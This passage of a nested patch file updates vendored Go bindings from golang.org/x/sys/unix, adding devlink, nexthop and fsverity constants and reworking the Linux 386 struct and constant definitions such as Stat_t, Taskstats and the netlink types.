-+ SYSLOG_ACTION_CONSOLE_LEVEL = 8
-+ SYSLOG_ACTION_SIZE_UNREAD = 9
-+ SYSLOG_ACTION_SIZE_BUFFER = 10
-+)
-+
-+const (
-+ DEVLINK_CMD_UNSPEC = 0x0
-+ DEVLINK_CMD_GET = 0x1
-+ DEVLINK_CMD_SET = 0x2
-+ DEVLINK_CMD_NEW = 0x3
-+ DEVLINK_CMD_DEL = 0x4
-+ DEVLINK_CMD_PORT_GET = 0x5
-+ DEVLINK_CMD_PORT_SET = 0x6
-+ DEVLINK_CMD_PORT_NEW = 0x7
-+ DEVLINK_CMD_PORT_DEL = 0x8
-+ DEVLINK_CMD_PORT_SPLIT = 0x9
-+ DEVLINK_CMD_PORT_UNSPLIT = 0xa
-+ DEVLINK_CMD_SB_GET = 0xb
-+ DEVLINK_CMD_SB_SET = 0xc
-+ DEVLINK_CMD_SB_NEW = 0xd
-+ DEVLINK_CMD_SB_DEL = 0xe
-+ DEVLINK_CMD_SB_POOL_GET = 0xf
-+ DEVLINK_CMD_SB_POOL_SET = 0x10
-+ DEVLINK_CMD_SB_POOL_NEW = 0x11
-+ DEVLINK_CMD_SB_POOL_DEL = 0x12
-+ DEVLINK_CMD_SB_PORT_POOL_GET = 0x13
-+ DEVLINK_CMD_SB_PORT_POOL_SET = 0x14
-+ DEVLINK_CMD_SB_PORT_POOL_NEW = 0x15
-+ DEVLINK_CMD_SB_PORT_POOL_DEL = 0x16
-+ DEVLINK_CMD_SB_TC_POOL_BIND_GET = 0x17
-+ DEVLINK_CMD_SB_TC_POOL_BIND_SET = 0x18
-+ DEVLINK_CMD_SB_TC_POOL_BIND_NEW = 0x19
-+ DEVLINK_CMD_SB_TC_POOL_BIND_DEL = 0x1a
-+ DEVLINK_CMD_SB_OCC_SNAPSHOT = 0x1b
-+ DEVLINK_CMD_SB_OCC_MAX_CLEAR = 0x1c
-+ DEVLINK_CMD_ESWITCH_GET = 0x1d
-+ DEVLINK_CMD_ESWITCH_SET = 0x1e
-+ DEVLINK_CMD_DPIPE_TABLE_GET = 0x1f
-+ DEVLINK_CMD_DPIPE_ENTRIES_GET = 0x20
-+ DEVLINK_CMD_DPIPE_HEADERS_GET = 0x21
-+ DEVLINK_CMD_DPIPE_TABLE_COUNTERS_SET = 0x22
-+ DEVLINK_CMD_MAX = 0x44
-+ DEVLINK_PORT_TYPE_NOTSET = 0x0
-+ DEVLINK_PORT_TYPE_AUTO = 0x1
-+ DEVLINK_PORT_TYPE_ETH = 0x2
-+ DEVLINK_PORT_TYPE_IB = 0x3
-+ DEVLINK_SB_POOL_TYPE_INGRESS = 0x0
-+ DEVLINK_SB_POOL_TYPE_EGRESS = 0x1
-+ DEVLINK_SB_THRESHOLD_TYPE_STATIC = 0x0
-+ DEVLINK_SB_THRESHOLD_TYPE_DYNAMIC = 0x1
-+ DEVLINK_ESWITCH_MODE_LEGACY = 0x0
-+ DEVLINK_ESWITCH_MODE_SWITCHDEV = 0x1
-+ DEVLINK_ESWITCH_INLINE_MODE_NONE = 0x0
-+ DEVLINK_ESWITCH_INLINE_MODE_LINK = 0x1
-+ DEVLINK_ESWITCH_INLINE_MODE_NETWORK = 0x2
-+ DEVLINK_ESWITCH_INLINE_MODE_TRANSPORT = 0x3
-+ DEVLINK_ESWITCH_ENCAP_MODE_NONE = 0x0
-+ DEVLINK_ESWITCH_ENCAP_MODE_BASIC = 0x1
-+ DEVLINK_ATTR_UNSPEC = 0x0
-+ DEVLINK_ATTR_BUS_NAME = 0x1
-+ DEVLINK_ATTR_DEV_NAME = 0x2
-+ DEVLINK_ATTR_PORT_INDEX = 0x3
-+ DEVLINK_ATTR_PORT_TYPE = 0x4
-+ DEVLINK_ATTR_PORT_DESIRED_TYPE = 0x5
-+ DEVLINK_ATTR_PORT_NETDEV_IFINDEX = 0x6
-+ DEVLINK_ATTR_PORT_NETDEV_NAME = 0x7
-+ DEVLINK_ATTR_PORT_IBDEV_NAME = 0x8
-+ DEVLINK_ATTR_PORT_SPLIT_COUNT = 0x9
-+ DEVLINK_ATTR_PORT_SPLIT_GROUP = 0xa
-+ DEVLINK_ATTR_SB_INDEX = 0xb
-+ DEVLINK_ATTR_SB_SIZE = 0xc
-+ DEVLINK_ATTR_SB_INGRESS_POOL_COUNT = 0xd
-+ DEVLINK_ATTR_SB_EGRESS_POOL_COUNT = 0xe
-+ DEVLINK_ATTR_SB_INGRESS_TC_COUNT = 0xf
-+ DEVLINK_ATTR_SB_EGRESS_TC_COUNT = 0x10
-+ DEVLINK_ATTR_SB_POOL_INDEX = 0x11
-+ DEVLINK_ATTR_SB_POOL_TYPE = 0x12
-+ DEVLINK_ATTR_SB_POOL_SIZE = 0x13
-+ DEVLINK_ATTR_SB_POOL_THRESHOLD_TYPE = 0x14
-+ DEVLINK_ATTR_SB_THRESHOLD = 0x15
-+ DEVLINK_ATTR_SB_TC_INDEX = 0x16
-+ DEVLINK_ATTR_SB_OCC_CUR = 0x17
-+ DEVLINK_ATTR_SB_OCC_MAX = 0x18
-+ DEVLINK_ATTR_ESWITCH_MODE = 0x19
-+ DEVLINK_ATTR_ESWITCH_INLINE_MODE = 0x1a
-+ DEVLINK_ATTR_DPIPE_TABLES = 0x1b
-+ DEVLINK_ATTR_DPIPE_TABLE = 0x1c
-+ DEVLINK_ATTR_DPIPE_TABLE_NAME = 0x1d
-+ DEVLINK_ATTR_DPIPE_TABLE_SIZE = 0x1e
-+ DEVLINK_ATTR_DPIPE_TABLE_MATCHES = 0x1f
-+ DEVLINK_ATTR_DPIPE_TABLE_ACTIONS = 0x20
-+ DEVLINK_ATTR_DPIPE_TABLE_COUNTERS_ENABLED = 0x21
-+ DEVLINK_ATTR_DPIPE_ENTRIES = 0x22
-+ DEVLINK_ATTR_DPIPE_ENTRY = 0x23
-+ DEVLINK_ATTR_DPIPE_ENTRY_INDEX = 0x24
-+ DEVLINK_ATTR_DPIPE_ENTRY_MATCH_VALUES = 0x25
-+ DEVLINK_ATTR_DPIPE_ENTRY_ACTION_VALUES = 0x26
-+ DEVLINK_ATTR_DPIPE_ENTRY_COUNTER = 0x27
-+ DEVLINK_ATTR_DPIPE_MATCH = 0x28
-+ DEVLINK_ATTR_DPIPE_MATCH_VALUE = 0x29
-+ DEVLINK_ATTR_DPIPE_MATCH_TYPE = 0x2a
-+ DEVLINK_ATTR_DPIPE_ACTION = 0x2b
-+ DEVLINK_ATTR_DPIPE_ACTION_VALUE = 0x2c
-+ DEVLINK_ATTR_DPIPE_ACTION_TYPE = 0x2d
-+ DEVLINK_ATTR_DPIPE_VALUE = 0x2e
-+ DEVLINK_ATTR_DPIPE_VALUE_MASK = 0x2f
-+ DEVLINK_ATTR_DPIPE_VALUE_MAPPING = 0x30
-+ DEVLINK_ATTR_DPIPE_HEADERS = 0x31
-+ DEVLINK_ATTR_DPIPE_HEADER = 0x32
-+ DEVLINK_ATTR_DPIPE_HEADER_NAME = 0x33
-+ DEVLINK_ATTR_DPIPE_HEADER_ID = 0x34
-+ DEVLINK_ATTR_DPIPE_HEADER_FIELDS = 0x35
-+ DEVLINK_ATTR_DPIPE_HEADER_GLOBAL = 0x36
-+ DEVLINK_ATTR_DPIPE_HEADER_INDEX = 0x37
-+ DEVLINK_ATTR_DPIPE_FIELD = 0x38
-+ DEVLINK_ATTR_DPIPE_FIELD_NAME = 0x39
-+ DEVLINK_ATTR_DPIPE_FIELD_ID = 0x3a
-+ DEVLINK_ATTR_DPIPE_FIELD_BITWIDTH = 0x3b
-+ DEVLINK_ATTR_DPIPE_FIELD_MAPPING_TYPE = 0x3c
-+ DEVLINK_ATTR_PAD = 0x3d
-+ DEVLINK_ATTR_ESWITCH_ENCAP_MODE = 0x3e
-+ DEVLINK_ATTR_MAX = 0x8c
-+ DEVLINK_DPIPE_FIELD_MAPPING_TYPE_NONE = 0x0
-+ DEVLINK_DPIPE_FIELD_MAPPING_TYPE_IFINDEX = 0x1
-+ DEVLINK_DPIPE_MATCH_TYPE_FIELD_EXACT = 0x0
-+ DEVLINK_DPIPE_ACTION_TYPE_FIELD_MODIFY = 0x0
-+ DEVLINK_DPIPE_FIELD_ETHERNET_DST_MAC = 0x0
-+ DEVLINK_DPIPE_FIELD_IPV4_DST_IP = 0x0
-+ DEVLINK_DPIPE_FIELD_IPV6_DST_IP = 0x0
-+ DEVLINK_DPIPE_HEADER_ETHERNET = 0x0
-+ DEVLINK_DPIPE_HEADER_IPV4 = 0x1
-+ DEVLINK_DPIPE_HEADER_IPV6 = 0x2
-+)
-+
-+type FsverityDigest struct {
-+ Algorithm uint16
-+ Size uint16
-+}
-+
-+type FsverityEnableArg struct {
-+ Version uint32
-+ Hash_algorithm uint32
-+ Block_size uint32
-+ Salt_size uint32
-+ Salt_ptr uint64
-+ Sig_size uint32
-+ _ uint32
-+ Sig_ptr uint64
-+ _ [11]uint64
-+}
-+
-+type Nhmsg struct {
-+ Family uint8
-+ Scope uint8
-+ Protocol uint8
-+ Resvd uint8
-+ Flags uint32
-+}
-+
-+type NexthopGrp struct {
-+ Id uint32
-+ Weight uint8
-+ Resvd1 uint8
-+ Resvd2 uint16
-+}
-+
-+const (
-+ NHA_UNSPEC = 0x0
-+ NHA_ID = 0x1
-+ NHA_GROUP = 0x2
-+ NHA_GROUP_TYPE = 0x3
-+ NHA_BLACKHOLE = 0x4
-+ NHA_OIF = 0x5
-+ NHA_GATEWAY = 0x6
-+ NHA_ENCAP_TYPE = 0x7
-+ NHA_ENCAP = 0x8
-+ NHA_GROUPS = 0x9
-+ NHA_MASTER = 0xa
-+)
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_386.go b/vendor/golang.org/x/sys/unix/ztypes_linux_386.go
-index 7b36896e..761b67c8 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_386.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_386.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x4
-+ SizeofLong = 0x4
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int32
-- _C_long_long int64
-+ _C_long int32
- )
-
- type Timespec struct {
-@@ -52,7 +45,7 @@ type Timex struct {
- Errcnt int32
- Stbcnt int32
- Tai int32
-- Pad_cgo_0 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int32
-@@ -88,60 +81,32 @@ type Rusage struct {
- Nivcsw int32
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
-- Dev uint64
-- X__pad1 uint16
-- Pad_cgo_0 [2]byte
-- X__st_ino uint32
-- Mode uint32
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev uint64
-- X__pad2 uint16
-- Pad_cgo_1 [2]byte
-- Size int64
-- Blksize int32
-- Blocks int64
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- Ino uint64
--}
--
--type Statfs_t struct {
-- Type int32
-- Bsize int32
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int32
-- Frsize int32
-- Flags int32
-- Spare [4]int32
-+ Dev uint64
-+ _ uint16
-+ _ uint32
-+ Mode uint32
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ _ uint16
-+ Size int64
-+ Blksize int32
-+ Blocks int64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Ino uint64
- }
-
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [1]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [1]byte
- }
-
- type Flock_t struct {
-@@ -152,101 +117,11 @@ type Flock_t struct {
- Pid int32
- }
-
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
--}
--
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -257,41 +132,11 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint32
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-@@ -308,277 +153,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x8
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x1c
-- SizeofCmsghdr = 0xc
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x8
-+ SizeofMsghdr = 0x1c
-+ SizeofCmsghdr = 0xc
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x8
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x8
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [2]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Ebx int32
- Ecx int32
-@@ -617,16 +201,7 @@ type Sysinfo_t struct {
- Totalhigh uint32
- Freehigh uint32
- Unit uint32
-- X_f [8]int8
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [8]int8
- }
-
- type Ustat_t struct {
-@@ -643,37 +218,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [32]uint32
-+ Val [32]uint32
- }
-
--const RNDGETENTCNT = 0x80045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -686,20 +238,12 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
-+ _ [4]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -711,13 +255,13 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
-+ _ [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -741,55 +285,315 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
-+}
-+
-+type cpuMask uint32
-+
-+const (
-+ _NCPUBITS = 0x20
-+)
-+
-+const (
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [122]int8
-+ _ uint32
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint32
-+}
-+
-+type Statfs_t struct {
-+ Type int32
-+ Bsize int32
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int32
-+ Frsize int32
-+ Flags int32
-+ Spare [4]int32
-+}
-+
-+type TpacketHdr struct {
-+ Status uint32
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
- }
-
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ SizeofTpacketHdr = 0x18
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int32
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
